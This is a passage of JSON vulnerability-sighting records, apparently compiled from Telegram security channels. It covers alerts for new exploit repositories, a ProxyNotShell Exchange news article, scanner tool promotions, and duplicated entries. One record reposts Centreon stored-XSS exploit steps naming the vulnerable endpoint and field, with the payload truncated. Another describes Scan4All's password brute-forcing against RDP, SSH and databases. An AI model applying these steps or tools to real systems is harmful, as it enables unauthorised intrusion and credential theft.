"creation_timestamp": "2026-09-06T00:00:55.348270+00:00", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/101186", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC #Exploit\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a gpgsm-cve-2026-57062-cms-gcm-short-tag\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a goldendivider\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-09-05 05:16:02\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\ngpgsm CVE-2026-57062 exploit POC\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "vulnerability": "CVE-2026-57062", "author": {"login": "automation"}}, {"uuid": "17de9e3f-6316-4525-a264-67308c18d1db", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:00:55.310159+00:00", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/101172", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #Exploit\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a EXPLOIT-CVE-2026-22778\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a joaovicdev\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-09-05 03:53:00\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u65e0\u63cf\u8ff0\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "vulnerability": "CVE-2026-22778", "author": {"login": "automation"}}, {"uuid": "ec8bfb40-b2c9-4789-8afc-e401efd03e6c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:00:55.273882+00:00", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/101185", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC #Exploit\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a cve-2026-6471-postgres-logical-decoding-dlopen\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a goldendivider\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a C\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-09-05 05:58:14\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\npostgres CVE-2026-6471 Exploit\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "vulnerability": "CVE-2026-6471", "author": {"login": "automation"}}, {"uuid": "22408a1b-4369-4097-86ce-9a09b179004a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:00:55.237631+00:00", "type": "exploited", "source": "https://t.me/hacking_Attack/71626", "content": "Black Hat Ethical Hacking\nMicrosoft confirms zero-day exploits against Exchange Server in \u2018limited\u2019 attacks\n\nMicrosoft confirms zero-day exploits against Exchange Server in \u2018limited\u2019 attacksPost Views: 8 Premium Contenthttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/09/Patreon.png Subscribe to Patreon to watch this episode.\nReading Time: 3 Minutes Microsoft is developing a patch for two actively exploited zero-day vulnerabilities in Microsoft Exchange Server.The flaws, tracked as CVE-2022-41040\u00a0and CVE-2022-41082, were discovered in Microsoft\u2019s enterprise mail server by Vietnamese cybersecurity firm GTSC. Microsoft said it is aware of \u201ca small number of targeted attacks\u201d exploiting the flaws, which impact on-prem Microsoft Exchange Server versions 2013, 2016, and 2019.\n\nThe bugs appear to be less dangerous variants \u2013 on account of authentication to PowerShell being required \u2013 of the critical ProxyShell\u00a0vulnerabilities that were widely abused in 2021. RCE chainIn GTSC\u2019s original security advisory, researchers said they discovered an attack on \u201ccritical\u201d infrastructure made through Exchange Server in August.\n\nThe first vulnerability, CVE-2022-41040 (CVSS 8.8), is a server-side request forgery\u00a0(SSRF) issue. When triggered remotely to launch CVE-2022-41082 (CVSS 6.3), the bug could result in remote code execution (RCE).\n\nAs the vulnerabilities are yet to be patched, the full technical details have not been released \u2013 but proof-of-concept (PoC) code is expected to appear soon.\n\nGTSC informed Trend Micro\u2019s Zero Day Initiative (ZDI) of its findings. After ZDI verified the flaws and reached out to the Microsoft Security Response Center (MSRC), the Redmond giant confirmed the report and published an analysis of attacks\u00a0exploiting the flaws.\n\n\u201cAuthenticated access to the vulnerable Exchange Server is necessary to successfully exploit either vulnerability, and they can be used separately,\u201d Microsoft noted.\n\nUnfortunately, the authentication required is nothing more than a standard user. As a result, cybercriminals could obtain these credentials via theft, credential stuffing, and brute-force attacks.\nSee Also: So you want to be a hacker? Complete Offensive Security and Ethical Hacking Course State-sponsored attacksAccording to Microsoft, fewer than 10 organizations worldwide have been targeted by what is likely a \u201cstate-sponsored organization\u201d.\n\nGTSC researchers said there are indicators that a Chinese threat group is leveraging Antsword, a Chinese cross-platform website management suite with web shell functionality.\n\nChina Chopper, a web shell, has apparently been used to perform Active Directory reconnaissance and data exfiltration. If this sounds familiar, the same web shell\u00a0was used in attacks exploiting Exchange Server zero-day vulnerabilities in 2021. These attacks were attributed to the state-sponsored Chinese threat group HAFNIUM.\n\n\u200bSecurity researcher Kevin Beaumont has noted similarities between the paths used by the new bugs, which he has dubbed \u2018ProxyNotShell\u2019, and the zero days from last year.\n\nDevcore researcher Orange Tsai, who discovered the original, ProxyShell flaws, suggested in a talk at Black Hat USA\u00a0(PDF) last year that fundamental path confusion issues could see further ProxyShell variants emerge \u2013 a prediction that has now come to pass.\nTrending: A primer on OS Command Injection Attacks\nTrending: Recon Tool: ReconSpider Mitigation adviceMicrosoft has released customer guidance\u00a0for mitigating the new bugs while it works on a patch.\n\nThe company is urging customers to disable remote PowerShell access for non-administrators immediately. If the Exchange Emergency Mitigation Service (EEMS) is enabled, further mitigation[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-41040", "author": {"login": "automation"}}, {"uuid": "2f589659-1593-4ee8-80f8-254f899094fe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:00:55.197889+00:00", "type": "exploited", "source": "https://t.me/hacking_Attack/71626", "content": "Black Hat Ethical Hacking\nMicrosoft confirms zero-day exploits against Exchange Server in \u2018limited\u2019 attacks\n\nMicrosoft confirms zero-day exploits against Exchange Server in \u2018limited\u2019 attacksPost Views: 8 Premium Contenthttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/09/Patreon.png Subscribe to Patreon to watch this episode.\nReading Time: 3 Minutes Microsoft is developing a patch for two actively exploited zero-day vulnerabilities in Microsoft Exchange Server.The flaws, tracked as CVE-2022-41040\u00a0and CVE-2022-41082, were discovered in Microsoft\u2019s enterprise mail server by Vietnamese cybersecurity firm GTSC. Microsoft said it is aware of \u201ca small number of targeted attacks\u201d exploiting the flaws, which impact on-prem Microsoft Exchange Server versions 2013, 2016, and 2019.\n\nThe bugs appear to be less dangerous variants \u2013 on account of authentication to PowerShell being required \u2013 of the critical ProxyShell\u00a0vulnerabilities that were widely abused in 2021. RCE chainIn GTSC\u2019s original security advisory, researchers said they discovered an attack on \u201ccritical\u201d infrastructure made through Exchange Server in August.\n\nThe first vulnerability, CVE-2022-41040 (CVSS 8.8), is a server-side request forgery\u00a0(SSRF) issue. When triggered remotely to launch CVE-2022-41082 (CVSS 6.3), the bug could result in remote code execution (RCE).\n\nAs the vulnerabilities are yet to be patched, the full technical details have not been released \u2013 but proof-of-concept (PoC) code is expected to appear soon.\n\nGTSC informed Trend Micro\u2019s Zero Day Initiative (ZDI) of its findings. After ZDI verified the flaws and reached out to the Microsoft Security Response Center (MSRC), the Redmond giant confirmed the report and published an analysis of attacks\u00a0exploiting the flaws.\n\n\u201cAuthenticated access to the vulnerable Exchange Server is necessary to successfully exploit either vulnerability, and they can be used separately,\u201d Microsoft noted.\n\nUnfortunately, the authentication required is nothing more than a standard user. As a result, cybercriminals could obtain these credentials via theft, credential stuffing, and brute-force attacks.\nSee Also: So you want to be a hacker? Complete Offensive Security and Ethical Hacking Course State-sponsored attacksAccording to Microsoft, fewer than 10 organizations worldwide have been targeted by what is likely a \u201cstate-sponsored organization\u201d.\n\nGTSC researchers said there are indicators that a Chinese threat group is leveraging Antsword, a Chinese cross-platform website management suite with web shell functionality.\n\nChina Chopper, a web shell, has apparently been used to perform Active Directory reconnaissance and data exfiltration. If this sounds familiar, the same web shell\u00a0was used in attacks exploiting Exchange Server zero-day vulnerabilities in 2021. These attacks were attributed to the state-sponsored Chinese threat group HAFNIUM.\n\n\u200bSecurity researcher Kevin Beaumont has noted similarities between the paths used by the new bugs, which he has dubbed \u2018ProxyNotShell\u2019, and the zero days from last year.\n\nDevcore researcher Orange Tsai, who discovered the original, ProxyShell flaws, suggested in a talk at Black Hat USA\u00a0(PDF) last year that fundamental path confusion issues could see further ProxyShell variants emerge \u2013 a prediction that has now come to pass.\nTrending: A primer on OS Command Injection Attacks\nTrending: Recon Tool: ReconSpider Mitigation adviceMicrosoft has released customer guidance\u00a0for mitigating the new bugs while it works on a patch.\n\nThe company is urging customers to disable remote PowerShell access for non-administrators immediately. If the Exchange Emergency Mitigation Service (EEMS) is enabled, further mitigation[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-41082", "author": {"login": "automation"}}, {"uuid": "a2f2b329-88fd-42ca-bb50-6e7490648555", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:00:55.161921+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/70897", "content": "Kali Linux Tutorials\nSCodeScanner : Stands For Source Code Scanner Where The User Can Scans The Source Code For Finding The Critical Vulnerabilities\n\nSCodeScanner stands for Source Code scanner where the user can scans the source code for finding the Critical Vulnerabilities. The main objective for this scanner is to find the vulnerabilities inside the source code before code gets published in Prod.\n\nFeatures\n\n* Supported\u00a0PHP\u00a0Language\n* Supported\u00a0YAML\u00a0Language\n* Pass results to bug tracking services like Jira also Slack (Sending files to group to multiple people at once).\n* Gives results in JSON format, which can easily be used to any other program.\n* Works with Rules. We only need to create some rules which the target rule is not present in php/yaml directory.\n* Rules that can scan advance patterns\n\nAchievements\n\nSCodeScanner received 5 CVEs for finding vulnerabilities in multiple CMS plugins.\n\n* CVE-2022-1465\n* CVE-2022-1474\n* CVE-2022-1527\n* CVE-2022-1532\n* CVE-2022-1604\n\nHow to run?\n\n* Download the repository \u2013\n* Run pip3 install -r requirements.txt\n* And run python3 scscanner.py --help\nDownload\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-1465", "author": {"login": "automation"}}, {"uuid": "f2e17f60-094a-40b5-8348-081bbbc211b2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:00:55.126357+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/70897", "content": "Kali Linux Tutorials\nSCodeScanner : Stands For Source Code Scanner Where The User Can Scans The Source Code For Finding The Critical Vulnerabilities\n\nSCodeScanner stands for Source Code scanner where the user can scans the source code for finding the Critical Vulnerabilities. The main objective for this scanner is to find the vulnerabilities inside the source code before code gets published in Prod.\n\nFeatures\n\n* Supported\u00a0PHP\u00a0Language\n* Supported\u00a0YAML\u00a0Language\n* Pass results to bug tracking services like Jira also Slack (Sending files to group to multiple people at once).\n* Gives results in JSON format, which can easily be used to any other program.\n* Works with Rules. We only need to create some rules which the target rule is not present in php/yaml directory.\n* Rules that can scan advance patterns\n\nAchievements\n\nSCodeScanner received 5 CVEs for finding vulnerabilities in multiple CMS plugins.\n\n* CVE-2022-1465\n* CVE-2022-1474\n* CVE-2022-1527\n* CVE-2022-1532\n* CVE-2022-1604\n\nHow to run?\n\n* Download the repository \u2013\n* Run pip3 install -r requirements.txt\n* And run python3 scscanner.py --help\nDownload\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-1532", "author": {"login": "automation"}}, {"uuid": "9d0585e8-a960-4882-9112-8a26e727d7b0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:00:55.089282+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/70897", "content": "Kali Linux Tutorials\nSCodeScanner : Stands For Source Code Scanner Where The User Can Scans The Source Code For Finding The Critical Vulnerabilities\n\nSCodeScanner stands for Source Code scanner where the user can scans the source code for finding the Critical Vulnerabilities. The main objective for this scanner is to find the vulnerabilities inside the source code before code gets published in Prod.\n\nFeatures\n\n* Supported\u00a0PHP\u00a0Language\n* Supported\u00a0YAML\u00a0Language\n* Pass results to bug tracking services like Jira also Slack (Sending files to group to multiple people at once).\n* Gives results in JSON format, which can easily be used to any other program.\n* Works with Rules. We only need to create some rules which the target rule is not present in php/yaml directory.\n* Rules that can scan advance patterns\n\nAchievements\n\nSCodeScanner received 5 CVEs for finding vulnerabilities in multiple CMS plugins.\n\n* CVE-2022-1465\n* CVE-2022-1474\n* CVE-2022-1527\n* CVE-2022-1532\n* CVE-2022-1604\n\nHow to run?\n\n* Download the repository \u2013\n* Run pip3 install -r requirements.txt\n* And run python3 scscanner.py --help\nDownload\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-1527", "author": {"login": "automation"}}, {"uuid": "cc3d23fd-0b65-4419-9558-1d3d942c0278", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:00:55.055511+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/70897", "content": "Kali Linux Tutorials\nSCodeScanner : Stands For Source Code Scanner Where The User Can Scans The Source Code For Finding The Critical Vulnerabilities\n\nSCodeScanner stands for Source Code scanner where the user can scans the source code for finding the Critical Vulnerabilities. The main objective for this scanner is to find the vulnerabilities inside the source code before code gets published in Prod.\n\nFeatures\n\n* Supported\u00a0PHP\u00a0Language\n* Supported\u00a0YAML\u00a0Language\n* Pass results to bug tracking services like Jira also Slack (Sending files to group to multiple people at once).\n* Gives results in JSON format, which can easily be used to any other program.\n* Works with Rules. We only need to create some rules which the target rule is not present in php/yaml directory.\n* Rules that can scan advance patterns\n\nAchievements\n\nSCodeScanner received 5 CVEs for finding vulnerabilities in multiple CMS plugins.\n\n* CVE-2022-1465\n* CVE-2022-1474\n* CVE-2022-1527\n* CVE-2022-1532\n* CVE-2022-1604\n\nHow to run?\n\n* Download the repository \u2013\n* Run pip3 install -r requirements.txt\n* And run python3 scscanner.py --help\nDownload\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-1604", "author": {"login": "automation"}}, {"uuid": "d4be1782-8fe3-47dc-8399-afc97dc47c8c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:00:55.019447+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/70897", "content": "Kali Linux Tutorials\nSCodeScanner : Stands For Source Code Scanner Where The User Can Scans The Source Code For Finding The Critical Vulnerabilities\n\nSCodeScanner stands for Source Code scanner where the user can scans the source code for finding the Critical Vulnerabilities. The main objective for this scanner is to find the vulnerabilities inside the source code before code gets published in Prod.\n\nFeatures\n\n* Supported\u00a0PHP\u00a0Language\n* Supported\u00a0YAML\u00a0Language\n* Pass results to bug tracking services like Jira also Slack (Sending files to group to multiple people at once).\n* Gives results in JSON format, which can easily be used to any other program.\n* Works with Rules. We only need to create some rules which the target rule is not present in php/yaml directory.\n* Rules that can scan advance patterns\n\nAchievements\n\nSCodeScanner received 5 CVEs for finding vulnerabilities in multiple CMS plugins.\n\n* CVE-2022-1465\n* CVE-2022-1474\n* CVE-2022-1527\n* CVE-2022-1532\n* CVE-2022-1604\n\nHow to run?\n\n* Download the repository \u2013\n* Run pip3 install -r requirements.txt\n* And run python3 scscanner.py --help\nDownload\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-1474", "author": {"login": "automation"}}, {"uuid": "5115ac67-a608-418e-a157-6401865783e8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:00:54.984286+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/71329", "content": "Exploit Collector\nCentreon 22.04.0 Cross Site Scripting\n\nhttps://4.bp.blogspot.com/-xJ4j9VfFswY/WWlvOf_vUlI/AAAAAAAAIMo/D1-kp_Mj10E1aNmsGMS5n6nKC28DofOXwCLcBGAs/s1600/h25.png \nCentreon version 22.04.0 suffers from a persistent cross site scripting vulnerability.\n\nSHA-256 | 69cf7baade94fd5e803782c07bbd53d7ff5f985beb2b08f0768155d0e8d0e38f\n\nDownload\n# Exploit Title: Stored XSS in service_alias parameter in Centreon version 22.04.0\n# Date: 1/10/2022\n# Exploit Author: syad\n# Vendor Homepage: Centreon\n# Software Link: https://download.centreon.com/\n# Version: 22.04.0\n# CVE ID : CVE-2022-39988\n# Tested on: Centos 7\nCentreon 22.04.0 is vulnerable to Stored Cross Site Scripting (XSS) from the function Service -> Templates -> by adding a crafted payload\ninto the service_alias parameter.\ngo to this endpoint -> /centreon/main.get.php?p=60206 -> Service -> Templates -> Click Button \"Add\" and put the crafted payload below on section \"Alias\" and save\n\npayload --> test\">\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-39988", "author": {"login": "automation"}}, {"uuid": "1a4778c5-34f5-4b9d-9c79-a5bcee9dfab0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:00:54.926979+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/70882", "content": "KitPloit - PenTest Tools!\nScan4All - Vuls Scan: 15000+PoCs; 21 Kinds Of Application Password Crack; 7000+Web Fingerprints; 146 Protocols And 90000+ Rules Port Scanning; Fuzz, HW, Awesome BugBounty...\n\nhttps://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEisTJxJ4U78kCBktVvucfEIDh57XmKW1q6sBmDzUOpTpKc8MJ-Cn1Hxzu4dBdCO86QZ2nWnmkzV_Pw8OkuBxyTJ28khyAkBnUeaBU8VHPHemkCET7Zps8erD1mh0n7aLwSm0kLSqxmLKtBTSRS_f8VFXlb6ZfoxUPrXkEERIJG_ngKJvbx_CqzTpbzZ2g/w640-h500/scan4all_4.png * What is scan4all: integrated vscan, nuclei, ksubdomain, subfinder, etc., fully automated and intelligent\u3002red team tools Code-level optimization, parameter optimization, and individual modules, such as vscan filefuzz, have been rewritten for these integrated projects. In principle, do not repeat the wheel, unless there are bugs, problems\n* Cross-platform: based on golang implementation, lightweight, highly customizable, open source, supports Linux, windows, mac os, etc.\n* Support [21] password blasting, support custom dictionary, open by \"priorityNmap\": true \n* RDP\n* SSH\n* rsh-spx\n* Mysql\n* MsSql\n* Oracle\n* Postgresql\n* Redis\n* FTP\n* Mongodb\n* SMB, also detect MS17-010 (CVE-2017-0143, CVE-2017-0144, CVE-2017-0145, CVE-2017-0146, CVE-2017-0147, CVE-2017-0148), SmbGhost (CVE- 2020-0796)\n* Telnet\n* Snmp\n* Wap-wsp (Elasticsearch)\n* RouterOs\n* HTTP BasicAuth\n* Weblogic, enable nuclei through enableNuclei=true at the same time, support T3, IIOP and other detection\n* Tomcat\n* Jboss\n* Winrm(wsman)\n* POP3\n\n* By default, http password intelligent blasting is enabled, and it will be automatically activated when an HTTP password is required, without manual intervention\n* Detect whether there is nmap in the system, and enable nmap for fast scanning through priorityNmap=true, which is enabled by default, and the optimized nmap parameters are faster than masscan Disadvantages of using nmap: Is the network bad, because the traffic network packet is too large, which may lead to incomplete results Using nmap additionally requires setting the root password to an environment variable export PPSSWWDD=yourRootPswd More references: config/doNmapScan.sh By default, naabu is used to complete port scanning -stats=true to view the scanning progress Can I not scan ports? noScan=true ./scan4all -l list.txt -v\n# nmap result default noScan=true \n./scan4all -l nmapRssuilt.xml -v* Fast 15000+ POC detection capabilities, PoCs include: \n* nuclei POC Nuclei Templates Top 10 statisticsTAGCOUNTAUTHORCOUNTDIRECTORYCOUNTSEVERITYCOUNTTYPECOUNTcve1294daffainfo605cves1277info1352http3554panel591dhiyaneshdk503exposed-panels600high938file76lfi486pikpikcu321vulnerabilities493medium766network50xss439pdteam269technologies266critical436dns17wordpress401geeknik187exposures254low211exposure355dwisiswant0169misconfiguration207unknown7cve20213220x_akoko154token-spray206rce313princechaddha147workflows187wp-plugin297pussycat0x128default-logins101tech282gy741126file76\n281 directories, 3922 files.\n\n* vscan POC \n* vscan POC includes: xray 2.0 300+ POC, go POC, etc.\n\n* scan4all POC\n\n* \nSupport 7000+ web fingerprint scanning, identification:\n\n* httpx fingerprint \n* vscan fingerprint\n* vscan fingerprint: including eHoleFinger, localFinger, etc.\n\n* scan4all fingerprint\n\n* \nSupport 146 protocols and 90000+ rule port scanning\n\n* Depends on protocols and fingerprints supported by nmap\n\n* \nFast HTTP sensitive file detection, can customize dictionary\n\n* \nLanding page detection\n\n* \nSupports multiple types of input - STDIN/HOST/IP/CIDR/URL/TXT\n\n* \nSupports multiple output types - JSON/TXT/CSV/STDOUT\n\n* \nHighly integratable: Configurable unified storage of results to Elasticsearch [strongly recommended]\n\n* \nSmart SSL Analysis:\n\n* In-depth analysis, automatically correlate the scanning of domain names in SSL information, such as *.xxx.com, and complete subdomain traversal according [...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2017-0146", "author": {"login": "automation"}}, {"uuid": "f23adc22-651b-4a79-a6f6-3eaab4819594", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:00:54.891889+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/70882", "content": "KitPloit - PenTest Tools!\nScan4All - Vuls Scan: 15000+PoCs; 21 Kinds Of Application Password Crack; 7000+Web Fingerprints; 146 Protocols And 90000+ Rules Port Scanning; Fuzz, HW, Awesome BugBounty...\n\nhttps://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEisTJxJ4U78kCBktVvucfEIDh57XmKW1q6sBmDzUOpTpKc8MJ-Cn1Hxzu4dBdCO86QZ2nWnmkzV_Pw8OkuBxyTJ28khyAkBnUeaBU8VHPHemkCET7Zps8erD1mh0n7aLwSm0kLSqxmLKtBTSRS_f8VFXlb6ZfoxUPrXkEERIJG_ngKJvbx_CqzTpbzZ2g/w640-h500/scan4all_4.png * What is scan4all: integrated vscan, nuclei, ksubdomain, subfinder, etc., fully automated and intelligent\u3002red team tools Code-level optimization, parameter optimization, and individual modules, such as vscan filefuzz, have been rewritten for these integrated projects. In principle, do not repeat the wheel, unless there are bugs, problems\n* Cross-platform: based on golang implementation, lightweight, highly customizable, open source, supports Linux, windows, mac os, etc.\n* Support [21] password blasting, support custom dictionary, open by \"priorityNmap\": true \n* RDP\n* SSH\n* rsh-spx\n* Mysql\n* MsSql\n* Oracle\n* Postgresql\n* Redis\n* FTP\n* Mongodb\n* SMB, also detect MS17-010 (CVE-2017-0143, CVE-2017-0144, CVE-2017-0145, CVE-2017-0146, CVE-2017-0147, CVE-2017-0148), SmbGhost (CVE- 2020-0796)\n* Telnet\n* Snmp\n* Wap-wsp (Elasticsearch)\n* RouterOs\n* HTTP BasicAuth\n* Weblogic, enable nuclei through enableNuclei=true at the same time, support T3, IIOP and other detection\n* Tomcat\n* Jboss\n* Winrm(wsman)\n* POP3\n\n* By default, http password intelligent blasting is enabled, and it will be automatically activated when an HTTP password is required, without manual intervention\n* Detect whether there is nmap in the system, and enable nmap for fast scanning through priorityNmap=true, which is enabled by default, and the optimized nmap parameters are faster than masscan Disadvantages of using nmap: Is the network bad, because the traffic network packet is too large, which may lead to incomplete results Using nmap additionally requires setting the root password to an environment variable export PPSSWWDD=yourRootPswd More references: config/doNmapScan.sh By default, naabu is used to complete port scanning -stats=true to view the scanning progress Can I not scan ports? noScan=true ./scan4all -l list.txt -v\n# nmap result default noScan=true \n./scan4all -l nmapRssuilt.xml -v* Fast 15000+ POC detection capabilities, PoCs include: \n* nuclei POC Nuclei Templates Top 10 statisticsTAGCOUNTAUTHORCOUNTDIRECTORYCOUNTSEVERITYCOUNTTYPECOUNTcve1294daffainfo605cves1277info1352http3554panel591dhiyaneshdk503exposed-panels600high938file76lfi486pikpikcu321vulnerabilities493medium766network50xss439pdteam269technologies266critical436dns17wordpress401geeknik187exposures254low211exposure355dwisiswant0169misconfiguration207unknown7cve20213220x_akoko154token-spray206rce313princechaddha147workflows187wp-plugin297pussycat0x128default-logins101tech282gy741126file76\n281 directories, 3922 files.\n\n* vscan POC \n* vscan POC includes: xray 2.0 300+ POC, go POC, etc.\n\n* scan4all POC\n\n* \nSupport 7000+ web fingerprint scanning, identification:\n\n* httpx fingerprint \n* vscan fingerprint\n* vscan fingerprint: including eHoleFinger, localFinger, etc.\n\n* scan4all fingerprint\n\n* \nSupport 146 protocols and 90000+ rule port scanning\n\n* Depends on protocols and fingerprints supported by nmap\n\n* \nFast HTTP sensitive file detection, can customize dictionary\n\n* \nLanding page detection\n\n* \nSupports multiple types of input - STDIN/HOST/IP/CIDR/URL/TXT\n\n* \nSupports multiple output types - JSON/TXT/CSV/STDOUT\n\n* \nHighly integratable: Configurable unified storage of results to Elasticsearch [strongly recommended]\n\n* \nSmart SSL Analysis:\n\n* In-depth analysis, automatically correlate the scanning of domain names in SSL information, such as *.xxx.com, and complete subdomain traversal according [...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2017-0143", "author": {"login": "automation"}}, {"uuid": "fd7f4c02-d20f-489c-9358-0ed737cf9f61", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:00:54.859096+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/70882", "content": "KitPloit - PenTest Tools!\nScan4All - Vuls Scan: 15000+PoCs; 21 Kinds Of Application Password Crack; 7000+Web Fingerprints; 146 Protocols And 90000+ Rules Port Scanning; Fuzz, HW, Awesome BugBounty...\n\nhttps://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEisTJxJ4U78kCBktVvucfEIDh57XmKW1q6sBmDzUOpTpKc8MJ-Cn1Hxzu4dBdCO86QZ2nWnmkzV_Pw8OkuBxyTJ28khyAkBnUeaBU8VHPHemkCET7Zps8erD1mh0n7aLwSm0kLSqxmLKtBTSRS_f8VFXlb6ZfoxUPrXkEERIJG_ngKJvbx_CqzTpbzZ2g/w640-h500/scan4all_4.png * What is scan4all: integrated vscan, nuclei, ksubdomain, subfinder, etc., fully automated and intelligent\u3002red team tools Code-level optimization, parameter optimization, and individual modules, such as vscan filefuzz, have been rewritten for these integrated projects. In principle, do not repeat the wheel, unless there are bugs, problems\n* Cross-platform: based on golang implementation, lightweight, highly customizable, open source, supports Linux, windows, mac os, etc.\n* Support [21] password blasting, support custom dictionary, open by \"priorityNmap\": true \n* RDP\n* SSH\n* rsh-spx\n* Mysql\n* MsSql\n* Oracle\n* Postgresql\n* Redis\n* FTP\n* Mongodb\n* SMB, also detect MS17-010 (CVE-2017-0143, CVE-2017-0144, CVE-2017-0145, CVE-2017-0146, CVE-2017-0147, CVE-2017-0148), SmbGhost (CVE- 2020-0796)\n* Telnet\n* Snmp\n* Wap-wsp (Elasticsearch)\n* RouterOs\n* HTTP BasicAuth\n* Weblogic, enable nuclei through enableNuclei=true at the same time, support T3, IIOP and other detection\n* Tomcat\n* Jboss\n* Winrm(wsman)\n* POP3\n\n* By default, http password intelligent blasting is enabled, and it will be automatically activated when an HTTP password is required, without manual intervention\n* Detect whether there is nmap in the system, and enable nmap for fast scanning through priorityNmap=true, which is enabled by default, and the optimized nmap parameters are faster than masscan Disadvantages of using nmap: Is the network bad, because the traffic network packet is too large, which may lead to incomplete results Using nmap additionally requires setting the root password to an environment variable export PPSSWWDD=yourRootPswd More references: config/doNmapScan.sh By default, naabu is used to complete port scanning -stats=true to view the scanning progress Can I not scan ports? noScan=true ./scan4all -l list.txt -v\n# nmap result default noScan=true \n./scan4all -l nmapRssuilt.xml -v* Fast 15000+ POC detection capabilities, PoCs include: \n* nuclei POC Nuclei Templates Top 10 